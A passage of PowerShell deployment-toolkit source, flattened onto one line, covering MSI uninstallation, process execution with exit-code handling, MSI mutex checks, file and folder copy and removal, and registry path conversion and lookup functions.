ElseIf ($Exclude[2] -eq 'Exact') { If ($installedApplication.($Exclude[0]) -eq $Exclude[1]) { [boolean]$addAppToRemoveList = $false Write-Log -Message "Skipping removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of exact match against [-ExcludeFromUninstall] criteria." -Source ${CmdletName} } } } } If ($addAppToRemoveList) { Write-Log -Message "Adding application to list for removal: [$($installedApplication.DisplayName) $($installedApplication.Version)]." -Source ${CmdletName} $removeMSIApplications.Add($installedApplication) } } } [hashtable]$ExecuteMSISplat = @{ Action = 'Uninstall'; Path = '' } If ($ContinueOnError) { $ExecuteMSISplat.Add( 'ContinueOnError', $ContinueOnError) } If ($Parameters) { $ExecuteMSISplat.Add( 'Parameters', $Parameters) } ElseIf ($AddParameters) { $ExecuteMSISplat.Add( 'AddParameters', $AddParameters) } If ($LoggingOptions) { $ExecuteMSISplat.Add( 'LoggingOptions', $LoggingOptions) } If ($LogName) { $ExecuteMSISplat.Add( 'LogName', $LogName) } If ($PassThru) { $ExecuteMSISplat.Add( 'PassThru', $PassThru) } If ($IncludeUpdatesAndHotfixes) { $ExecuteMSISplat.Add( 'IncludeUpdatesAndHotfixes', $IncludeUpdatesAndHotfixes) } If (($null -ne $removeMSIApplications) -and ($removeMSIApplications.Count)) { ForEach ($removeMSIApplication in $removeMSIApplications) { Write-Log -Message "Remove application [$($removeMSIApplication.DisplayName) $($removeMSIApplication.Version)]." -Source ${CmdletName} $ExecuteMSISplat.Path = $removeMSIApplication.ProductCode If ($PassThru) { [psobject[]]$ExecuteResults += Execute-MSI @ExecuteMSISplat } Else { Execute-MSI @ExecuteMSISplat } } } Else { Write-Log -Message 'No applications found for removal. Continue...' -Source ${CmdletName} } } End { If ($PassThru) { Write-Output -InputObject $ExecuteResults } Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Execute-Process { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [Alias('FilePath')] [ValidateNotNullorEmpty()] [string]$Path, [Parameter(Mandatory=$false)] [Alias('Arguments')] [ValidateNotNullorEmpty()] [string[]]$Parameters, [Parameter(Mandatory=$false)] [switch]$SecureParameters = $false, [Parameter(Mandatory=$false)] [ValidateSet('Normal','Hidden','Maximized','Minimized')] [Diagnostics.ProcessWindowStyle]$WindowStyle = 'Normal', [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$CreateNoWindow = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$WorkingDirectory, [Parameter(Mandatory=$false)] [switch]$NoWait = $false, [Parameter(Mandatory=$false)] [switch]$PassThru = $false, [Parameter(Mandatory=$false)] [switch]$WaitForMsiExec = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int]$MsiExecWaitTime = $configMSIMutexWaitTime, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$IgnoreExitCodes, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { $private:returnCode = $null If (([IO.Path]::IsPathRooted($Path)) -and ([IO.Path]::HasExtension($Path))) { Write-Log -Message "[$Path] is a valid fully qualified path, continue." -Source ${CmdletName} If (-not (Test-Path -LiteralPath $Path -PathType 'Leaf' -ErrorAction 'Stop')) { Throw "File [$Path] not found." } } Else { [string]$PathFolders = $dirFiles [string]$PathFolders = $PathFolders + ';' + (Get-Location -PSProvider 'FileSystem').Path $env:PATH = $PathFolders + ';' + $env:PATH [string]$FullyQualifiedPath = Get-Command -Name $Path -CommandType 'Application' -TotalCount 1 -Syntax -ErrorAction 'Stop' $env:PATH = $env:PATH -replace [regex]::Escape($PathFolders + ';'), '' If ($FullyQualifiedPath) { Write-Log -Message "[$Path] successfully resolved to fully qualified path [$FullyQualifiedPath]." -Source ${CmdletName} $Path = $FullyQualifiedPath } Else { Throw "[$Path] contains an invalid path or file name." } } If (-not $WorkingDirectory) { $WorkingDirectory = Split-Path -Path $Path -Parent -ErrorAction 'Stop' } If (($Path -match 'msiexec') -or ($WaitForMsiExec)) { [timespan]$MsiExecWaitTimeSpan = New-TimeSpan -Seconds $MsiExecWaitTime [boolean]$MsiExecAvailable = Test-IsMutexAvailable -MutexName 'Global\_MSIExecute' -MutexWaitTimeInMilliseconds $MsiExecWaitTimeSpan.TotalMilliseconds Start-Sleep -Seconds 1 If (-not $MsiExecAvailable) { [int32]$returnCode = 1618 Throw 'Please complete in progress MSI installation before proceeding with this install.' } } Try { $env:SEE_MASK_NOZONECHECKS = 1 $private:previousErrorActionPreference = $ErrorActionPreference $ErrorActionPreference = 'Stop' $processStartInfo = New-Object -TypeName 'System.Diagnostics.ProcessStartInfo' -ErrorAction 'Stop' $processStartInfo.FileName = $Path $processStartInfo.WorkingDirectory = $WorkingDirectory $processStartInfo.UseShellExecute = $false $processStartInfo.ErrorDialog = $false $processStartInfo.RedirectStandardOutput = $true $processStartInfo.RedirectStandardError = $true $processStartInfo.CreateNoWindow = $CreateNoWindow If ($Parameters) { $processStartInfo.Arguments = $Parameters } If ($windowStyle) { $processStartInfo.WindowStyle = $WindowStyle } $process = New-Object -TypeName 'System.Diagnostics.Process' -ErrorAction 'Stop' $process.StartInfo = $processStartInfo [scriptblock]$processEventHandler = { If (-not [string]::IsNullOrEmpty($EventArgs.Data)) { $Event.MessageData.AppendLine($EventArgs.Data) } } $stdOutBuilder = New-Object -TypeName 'System.Text.StringBuilder' -ArgumentList '' $stdOutEvent = Register-ObjectEvent -InputObject $process -Action $processEventHandler -EventName 'OutputDataReceived' -MessageData $stdOutBuilder -ErrorAction 'Stop' Write-Log -Message "Working Directory is [$WorkingDirectory]." -Source ${CmdletName} If ($Parameters) { If ($Parameters -match '-Command \&') { Write-Log -Message "Executing [$Path [PowerShell ScriptBlock]]..." -Source ${CmdletName} } Else { If ($SecureParameters) { Write-Log -Message "Executing [$Path (Parameters Hidden)]..." -Source ${CmdletName} } Else { Write-Log -Message "Executing [$Path $Parameters]..." -Source ${CmdletName} } } } Else { Write-Log -Message "Executing [$Path]..." -Source ${CmdletName} } [boolean]$processStarted = $process.Start() If ($NoWait) { Write-Log -Message 'NoWait parameter specified. Continuing without waiting for exit code...' -Source ${CmdletName} } Else { $process.BeginOutputReadLine() $stdErr = $($process.StandardError.ReadToEnd()).ToString() -replace $null,'' $process.WaitForExit() While (-not ($process.HasExited)) { $process.Refresh(); Start-Sleep -Seconds 1 } Try { [int32]$returnCode = $process.ExitCode } Catch [System.Management.Automation.PSInvalidCastException] { [int32]$returnCode = 60013 } If ($stdOutEvent) { Unregister-Event -SourceIdentifier $stdOutEvent.Name -ErrorAction 'Stop'; $stdOutEvent = $null } $stdOut = $stdOutBuilder.ToString() -replace $null,'' If ($stdErr.Length -gt 0) { Write-Log -Message "Standard error output from the process: $stdErr" -Severity 3 -Source ${CmdletName} } } } Finally { If ($stdOutEvent) { Unregister-Event -SourceIdentifier $stdOutEvent.Name -ErrorAction 'Stop'} If ($process) { $process.Close() } Remove-Item -LiteralPath 'env:SEE_MASK_NOZONECHECKS' -ErrorAction 'SilentlyContinue' If ($private:previousErrorActionPreference) { $ErrorActionPreference = $private:previousErrorActionPreference } } If (-not $NoWait) { $ignoreExitCodeMatch = $false If ($ignoreExitCodes) { [int32[]]$ignoreExitCodesArray = $ignoreExitCodes -split ',' ForEach ($ignoreCode in $ignoreExitCodesArray) { If ($returnCode -eq $ignoreCode) { $ignoreExitCodeMatch = $true } } } If ($ContinueOnError) { $ignoreExitCodeMatch = $true } If ($PassThru) { Write-Log -Message "Execution completed with exit code [$returnCode]." -Source ${CmdletName} [psobject]$ExecutionResults = New-Object -TypeName 'PSObject' -Property @{ ExitCode = $returnCode; StdOut = $stdOut; StdErr = $stdErr } Write-Output -InputObject $ExecutionResults } ElseIf ($ignoreExitCodeMatch) { Write-Log -Message "Execution complete and the exit code [$returncode] is being ignored." -Source ${CmdletName} } ElseIf (($returnCode -eq 3010) -or ($returnCode -eq 1641)) { Write-Log -Message "Execution completed successfully with exit code [$returnCode]. A reboot is required." -Severity 2 -Source ${CmdletName} Set-Variable -Name 'msiRebootDetected' -Value $true -Scope 'Script' } ElseIf (($returnCode -eq 1605) -and ($Path -match 'msiexec')) { Write-Log -Message "Execution failed with exit code [$returnCode] because the product is not currently installed." -Severity 3 -Source ${CmdletName} } ElseIf (($returnCode -eq -2145124329) -and ($Path -match 'wusa')) { Write-Log -Message "Execution failed with exit code [$returnCode] because the Windows Update is not applicable to this system." -Severity 3 -Source ${CmdletName} } ElseIf (($returnCode -eq 17025) -and ($Path -match 'fullfile')) { Write-Log -Message "Execution failed with exit code [$returnCode] because the Office Update is not applicable to this system." -Severity 3 -Source ${CmdletName} } ElseIf ($returnCode -eq 0) { Write-Log -Message "Execution completed successfully with exit code [$returnCode]." -Source ${CmdletName} } Else { [string]$MsiExitCodeMessage = '' If ($Path -match 'msiexec') { [string]$MsiExitCodeMessage = Get-MsiExitCodeMessage -MsiExitCode $returnCode } If ($MsiExitCodeMessage) { Write-Log -Message "Execution failed with exit code [$returnCode]: $MsiExitCodeMessage" -Severity 3 -Source ${CmdletName} } Else { Write-Log -Message "Execution failed with exit code [$returnCode]." -Severity 3 -Source ${CmdletName} } Exit-Script -ExitCode $returnCode } } } Catch { If ([string]::IsNullOrEmpty([string]$returnCode)) { [int32]$returnCode = 60002 Write-Log -Message "Function failed, setting exit code to [$returnCode]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } Else { Write-Log -Message "Execution completed with exit code [$returnCode]. Function failed. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } If ($PassThru) { [psobject]$ExecutionResults = New-Object -TypeName 'PSObject' -Property @{ ExitCode = $returnCode; StdOut = If ($stdOut) { $stdOut } Else { '' }; StdErr = If ($stdErr) { $stdErr } Else { '' } } Write-Output -InputObject $ExecutionResults } Else { Exit-Script -ExitCode $returnCode } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-MsiExitCodeMessage { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [int32]$MsiExitCode ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Get message for exit code [$MsiExitCode]." -Source ${CmdletName} [string]$MsiExitCodeMsg = [PSADT.Msi]::GetMessageFromMsiExitCode($MsiExitCode) Write-Output -InputObject $MsiExitCodeMsg } Catch { Write-Log -Message "Failed to get message for exit code [$MsiExitCode]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-IsMutexAvailable { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateLength(1,260)] [string]$MutexName, [Parameter(Mandatory=$false)] [ValidateScript({($_ -ge -1) -and ($_ -le [int32]::MaxValue)})] [int32]$MutexWaitTimeInMilliseconds = 1 ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [timespan]$MutexWaitTime = [timespan]::FromMilliseconds($MutexWaitTimeInMilliseconds) If ($MutexWaitTime.TotalMinutes -ge 1) { [string]$WaitLogMsg = "$($MutexWaitTime.TotalMinutes) minute(s)" } ElseIf ($MutexWaitTime.TotalSeconds -ge 1) { [string]$WaitLogMsg = "$($MutexWaitTime.TotalSeconds) second(s)" } Else { [string]$WaitLogMsg = "$($MutexWaitTime.Milliseconds) millisecond(s)" } [boolean]$IsUnhandledException = $false [boolean]$IsMutexFree = $false [Threading.Mutex]$OpenExistingMutex = $null } Process { Write-Log -Message "Check to see if mutex [$MutexName] is available. Wait up to [$WaitLogMsg] for the mutex to become available." -Source ${CmdletName} Try { $private:previousErrorActionPreference = $ErrorActionPreference $ErrorActionPreference = 'Stop' [Threading.Mutex]$OpenExistingMutex = [Threading.Mutex]::OpenExisting($MutexName) $IsMutexFree = $OpenExistingMutex.WaitOne($MutexWaitTime, $false) } Catch [Threading.WaitHandleCannotBeOpenedException] { $IsMutexFree = $true } Catch [ObjectDisposedException] { $IsMutexFree = $true } Catch [UnauthorizedAccessException] { $IsMutexFree = $false } Catch [Threading.AbandonedMutexException] { $IsMutexFree = $true } Catch { $IsUnhandledException = $true Write-Log -Message "Unable to check if mutex [$MutexName] is available due to an unhandled exception. Will default to return value of [$true]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} $IsMutexFree = $true } Finally { If ($IsMutexFree) { If (-not $IsUnhandledException) { Write-Log -Message "Mutex [$MutexName] is available for an exclusive lock." -Source ${CmdletName} } } Else { If ($MutexName -eq 'Global\_MSIExecute') { Try { [string]$msiInProgressCmdLine = Get-WmiObject -Class 'Win32_Process' -Filter "name = 'msiexec.exe'" -ErrorAction 'Stop' | Where-Object { $_.CommandLine } | Select-Object -ExpandProperty 'CommandLine' | Where-Object { $_ -match '\.msi' } | ForEach-Object { $_.Trim() } } Catch { } Write-Log -Message "Mutex [$MutexName] is not available for an exclusive lock because the following MSI installation is in progress [$msiInProgressCmdLine]." -Severity 2 -Source ${CmdletName} } Else { Write-Log -Message "Mutex [$MutexName] is not available because another thread already has an exclusive lock on it." -Source ${CmdletName} } } If (($null -ne $OpenExistingMutex) -and ($IsMutexFree)) { $null = $OpenExistingMutex.ReleaseMutex() $OpenExistingMutex.Close() } If ($private:previousErrorActionPreference) { $ErrorActionPreference = $private:previousErrorActionPreference } } } End { Write-Output -InputObject $IsMutexFree Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function New-Folder { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Path, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If (-not (Test-Path -LiteralPath $Path -PathType 'Container')) { Write-Log -Message "Create folder [$Path]." -Source ${CmdletName} $null = New-Item -Path $Path -ItemType 'Directory' -ErrorAction 'Stop' } Else { Write-Log -Message "Folder [$Path] already exists." -Source ${CmdletName} } } Catch { Write-Log -Message "Failed to create folder [$Path]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to create folder [$Path]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Remove-Folder { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Path, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If (Test-Path -LiteralPath $Path -PathType 'Container') { Try { Write-Log -Message "Delete folder [$path] recursively..." -Source ${CmdletName} Remove-Item -LiteralPath $Path -Force -Recurse -ErrorAction 'SilentlyContinue' -ErrorVariable '+ErrorRemoveFolder' If ($ErrorRemoveFolder) { Write-Log -Message "The following error(s) took place while deleting folder(s) and file(s) recursively from path [$path]. `n$(Resolve-Error -ErrorRecord $ErrorRemoveFolder)" -Severity 2 -Source ${CmdletName} } } Catch { Write-Log -Message "Failed to delete folder(s) and file(s) recursively from path [$path]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to delete folder(s) and file(s) recursively from path [$path]: $($_.Exception.Message)" } } } Else { Write-Log -Message "Folder [$Path] does not exists..." -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Copy-File { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string[]]$Path, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Destination, [Parameter(Mandatory=$false)] [switch]$Recurse = $false, [Parameter(Mandatory=$false)] [switch]$Flatten, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true, [ValidateNotNullOrEmpty()] [boolean]$ContinueFileCopyOnError = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { $null = $fileCopyError If ((-not ([IO.Path]::HasExtension($Destination))) -and (-not (Test-Path -LiteralPath $Destination -PathType 'Container'))) { Write-Log -Message "Destination folder does not exist, creating destination folder [$destination]." -Source ${CmdletName} $null = New-Item -Path $Destination -Type 'Directory' -Force -ErrorAction 'Stop' } if ($Flatten) { If ($Recurse) { Write-Log -Message "Copy file(s) recursively in path [$path] to destination [$destination] root folder, flattened." -Source ${CmdletName} If (-not $ContinueFileCopyOnError) { $null = Get-ChildItem -Path $path -Recurse | Where-Object {!($_.PSIsContainer)} | ForEach-Object { Copy-Item -Path ($_.FullName) -Destination $destination -Force -ErrorAction 'Stop' } } Else { $null = Get-ChildItem -Path $path -Recurse | Where-Object {!($_.PSIsContainer)} | ForEach-Object { Copy-Item -Path ($_.FullName) -Destination $destination -Force -ErrorAction 'SilentlyContinue' -ErrorVariable FileCopyError } } } Else { Write-Log -Message "Copy file in path [$path] to destination [$destination]." -Source ${CmdletName} If (-not $ContinueFileCopyOnError) { $null = Copy-Item -Path $path -Destination $destination -Force -ErrorAction 'Stop' } Else { $null = Copy-Item -Path $path -Destination $destination -Force -ErrorAction 'SilentlyContinue' -ErrorVariable FileCopyError } } } Else { $null = $FileCopyError If ($Recurse) { Write-Log -Message "Copy file(s) recursively in path [$path] to destination [$destination]." -Source ${CmdletName} If (-not $ContinueFileCopyOnError) { $null = Copy-Item -Path $Path -Destination $Destination -Force -Recurse -ErrorAction 'Stop' } Else { $null = Copy-Item -Path $Path -Destination $Destination -Force -Recurse -ErrorAction 'SilentlyContinue' -ErrorVariable FileCopyError } } Else { Write-Log -Message "Copy file in path [$path] to destination [$destination]." -Source ${CmdletName} If (-not $ContinueFileCopyOnError) { $null = Copy-Item -Path $Path -Destination $Destination -Force -ErrorAction 'Stop' } Else { $null = Copy-Item -Path $Path -Destination $Destination -Force -ErrorAction 'SilentlyContinue' -ErrorVariable FileCopyError } } } If ($fileCopyError) { Write-Log -Message "The following warnings were detected while copying file(s) in path [$path] to destination [$destination]. `n$FileCopyError" -Severity 2 -Source ${CmdletName} } Else { Write-Log -Message "File copy completed successfully." -Source ${CmdletName} } } Catch { Write-Log -Message "Failed to copy file(s) in path [$path] to destination [$destination]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to copy file(s) in path [$path] to destination [$destination]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Remove-File { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,ParameterSetName='Path')] [ValidateNotNullorEmpty()] [string[]]$Path, [Parameter(Mandatory=$true,ParameterSetName='LiteralPath')] [ValidateNotNullorEmpty()] [string[]]$LiteralPath, [Parameter(Mandatory=$false)] [switch]$Recurse = $false, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { [hashtable]$RemoveFileSplat = @{ 'Recurse' = $Recurse 'Force' = $true 'ErrorVariable' = '+ErrorRemoveItem' } If ($ContinueOnError) { $RemoveFileSplat.Add('ErrorAction', 'SilentlyContinue') } Else { $RemoveFileSplat.Add('ErrorAction', 'Stop') } If ($PSCmdlet.ParameterSetName -eq 'Path') { [string[]]$SpecifiedPath = $Path } Else { [string[]]$SpecifiedPath = $LiteralPath } ForEach ($Item in $SpecifiedPath) { Try { If ($PSCmdlet.ParameterSetName -eq 'Path') { [string[]]$ResolvedPath += Resolve-Path -Path $Item -ErrorAction 'Stop' | Where-Object { $_.Path } | Select-Object -ExpandProperty 'Path' -ErrorAction 'Stop' } Else { [string[]]$ResolvedPath += Resolve-Path -LiteralPath $Item -ErrorAction 'Stop' | Where-Object { $_.Path } | Select-Object -ExpandProperty 'Path' -ErrorAction 'Stop' } } Catch [System.Management.Automation.ItemNotFoundException] { Write-Log -Message "Unable to resolve file(s) for deletion in path [$Item] because path does not exist." -Severity 2 -Source ${CmdletName} } Catch { Write-Log -Message "Failed to resolve file(s) for deletion in path [$Item]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to resolve file(s) for deletion in path [$Item]: $($_.Exception.Message)" } } } If ($ResolvedPath) { ForEach ($Item in $ResolvedPath) { Try { If (($Recurse) -and (Test-Path -LiteralPath $Item -PathType 'Container')) { Write-Log -Message "Delete file(s) recursively in path [$Item]..." -Source ${CmdletName} } ElseIf ((-not $Recurse) -and (Test-Path -LiteralPath $Item -PathType 'Container')) { Write-Log -Message "Skipping folder [$Item] because the Recurse switch was not specified" Continue } Else { Write-Log -Message "Delete file in path [$Item]..." -Source ${CmdletName} } $null = Remove-Item @RemoveFileSplat -LiteralPath $Item } Catch { Write-Log -Message "Failed to delete file(s) in path [$Item]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to delete file(s) in path [$Item]: $($_.Exception.Message)" } } } } If ($ErrorRemoveItem) { Write-Log -Message "The following error(s) took place while removing file(s) in path [$SpecifiedPath]. `n$(Resolve-Error -ErrorRecord $ErrorRemoveItem)" -Severity 2 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Convert-RegistryPath { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Key, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$SID ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($Key -match '^HKLM:\\|^HKCU:\\|^HKCR:\\|^HKU:\\|^HKCC:\\|^HKPD:\\') { $key = $key -replace '^HKLM:\\', 'HKEY_LOCAL_MACHINE\' $key = $key -replace '^HKCR:\\', 'HKEY_CLASSES_ROOT\' $key = $key -replace '^HKCU:\\', 'HKEY_CURRENT_USER\' $key = $key -replace '^HKU:\\', 'HKEY_USERS\' $key = $key -replace '^HKCC:\\', 'HKEY_CURRENT_CONFIG\' $key = $key -replace '^HKPD:\\', 'HKEY_PERFORMANCE_DATA\' } ElseIf ($Key -match '^HKLM:|^HKCU:|^HKCR:|^HKU:|^HKCC:|^HKPD:') { $key = $key -replace '^HKLM:', 'HKEY_LOCAL_MACHINE\' $key = $key -replace '^HKCR:', 'HKEY_CLASSES_ROOT\' $key = $key -replace '^HKCU:', 'HKEY_CURRENT_USER\' $key = $key -replace '^HKU:', 'HKEY_USERS\' $key = $key -replace '^HKCC:', 'HKEY_CURRENT_CONFIG\' $key = $key -replace '^HKPD:', 'HKEY_PERFORMANCE_DATA\' } ElseIf ($Key -match '^HKLM\\|^HKCU\\|^HKCR\\|^HKU\\|^HKCC\\|^HKPD\\') { $key = $key -replace '^HKLM\\', 'HKEY_LOCAL_MACHINE\' $key = $key -replace '^HKCR\\', 'HKEY_CLASSES_ROOT\' $key = $key -replace '^HKCU\\', 'HKEY_CURRENT_USER\' $key = $key -replace '^HKU\\', 'HKEY_USERS\' $key = $key -replace '^HKCC\\', 'HKEY_CURRENT_CONFIG\' $key = $key -replace '^HKPD\\', 'HKEY_PERFORMANCE_DATA\' } If ($PSBoundParameters.ContainsKey('SID')) { If ($key -match '^HKEY_CURRENT_USER\\') { $key = $key -replace '^HKEY_CURRENT_USER\\', "HKEY_USERS\$SID\" } } If ($key -notmatch '^Registry::') {[string]$key = "Registry::$key" } If($Key -match '^Registry::HKEY_LOCAL_MACHINE|^Registry::HKEY_CLASSES_ROOT|^Registry::HKEY_CURRENT_USER|^Registry::HKEY_USERS|^Registry::HKEY_CURRENT_CONFIG|^Registry::HKEY_PERFORMANCE_DATA') { Write-Log -Message "Return fully qualified registry key path [$key]." -Source ${CmdletName} Write-Output -InputObject $key } Else{ Throw "Unable to detect target registry hive in string [$key]." } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-RegistryValue { Param ( [Parameter(Mandatory=$true,Position=0,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()]$Key, [Parameter(Mandatory=$true,Position=1)] [ValidateNotNullOrEmpty()]$Value, [Parameter(Mandatory=$false,Position=2)] [ValidateNotNullorEmpty()] [string]$SID ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ($PSBoundParameters.ContainsKey('SID')) { [string]$Key = Convert-RegistryPath -Key $Key -SID $SID } Else { [string]$Key = Convert-RegistryPath -Key $Key } } Catch { Throw } [boolean]$IsRegistryValueExists = $false Try { If (Test-Path -LiteralPath $Key -ErrorAction 'Stop') { [string[]]$PathProperties = Get-Item -LiteralPath $Key -ErrorAction 'Stop' | Select-Object -ExpandProperty 'Property' -ErrorAction 'Stop' If ($PathProperties -contains $Value) { $IsRegistryValueExists = $true } } } Catch { } If ($IsRegistryValueExists) { Write-Log -Message "Registry key value [$Key] [$Value] does exist." -Source ${CmdletName} } Else { Write-Log -Message "Registry key value [$Key] [$Value] does not exist." -Source ${CmdletName} } Write-Output -InputObject $IsRegistryValueExists } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-RegistryKey { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Key, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Value, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$SID, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$ReturnEmptyKeyIfExists = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$DoNotExpandEnvironmentNames = $false, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ($PSBoundParameters.ContainsKey('SID')) { [string]$key = Convert-RegistryPath -Key $key -SID $SID } Else { [string]$key = Convert-RegistryPath -Key $key } If (-not (Test-Path -LiteralPath $key -ErrorAction 'Stop')) { Write-Log -Message "Registry key [$key] does not exist. Return `$null." -Severity 2 -Source ${CmdletName} $regKeyValue = $null } Else { If ($PSBoundParameters.ContainsKey('Value')) { Write-Log -Message "Get registry key [$key] value [$value]." -Source ${CmdletName} } Else { Write-Log -Message "Get registry key [$key] and all property values." -Source ${CmdletName} } $regKeyValue = Get-ItemProperty -LiteralPath $key -ErrorAction 'Stop' [int32]$regKeyValuePropertyCount = $regKeyValue | Measure-Object | Select-Object -ExpandProperty 'Count' If ($PSBoundParameters.ContainsKey('Value')) { [boolean]$IsRegistryValueExists = $false If ($regKeyValuePropertyCount -gt 0) { Try { [string[]]$PathProperties = Get-Item -LiteralPath $Key -ErrorAction 'Stop' | Select-Object -ExpandProperty 'Property' -ErrorAction 'Stop' If ($PathProperties -contains $Value) { $IsRegistryValueExists = $true } } Catch { } } If ($IsRegistryValueExists) { If ($DoNotExpandEnvironmentNames) { If ($Value -like '(Default)') { $regKeyValue = $(Get-Item -LiteralPath $key -ErrorAction 'Stop').GetValue($null,$null,[Microsoft.Win32.RegistryValueOptions]::DoNotExpandEnvironmentNames) } Else { $regKeyValue = $(Get-Item -LiteralPath $key -ErrorAction 'Stop').GetValue($Value,$null,[Microsoft.Win32.RegistryValueOptions]::DoNotExpandEnvironmentNames) } } ElseIf ($Value -like '(Default)') { $regKeyValue = $(Get-Item -LiteralPath $key -ErrorAction 'Stop').GetValue($null) } Else { $regKeyValue = $regKeyValue | Select-Object -ExpandProperty $Value -ErrorAction 'SilentlyContinue' } } Else { Write-Log -Message "Registry key value [$Key] [$Value] does not exist. Return `$null." -Source ${CmdletName} $regKeyValue = $null } } Else { If ($regKeyValuePropertyCount -eq 0) { If ($ReturnEmptyKeyIfExists) { Write-Log -Message "No property values found for registry key. Return empty registry key object [$key]." -Source ${CmdletName} $regKeyValue = Get-Item -LiteralPath $key -Force -ErrorAction 'Stop' } Else { Write-Log -Message "No property values found for registry key. Return `$null." -Source ${CmdletName} $regKeyValue = $null } } } } Write-Output -InputObject ($regKeyValue) } Catch { If (-not $Value) { Write-Log -Message "Failed to read registry key [$key]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to read registry key [$key]: $($_.Exception.Message)" } } Else { Write-Log -Message "Failed to read registry key [$key] value [$value]. 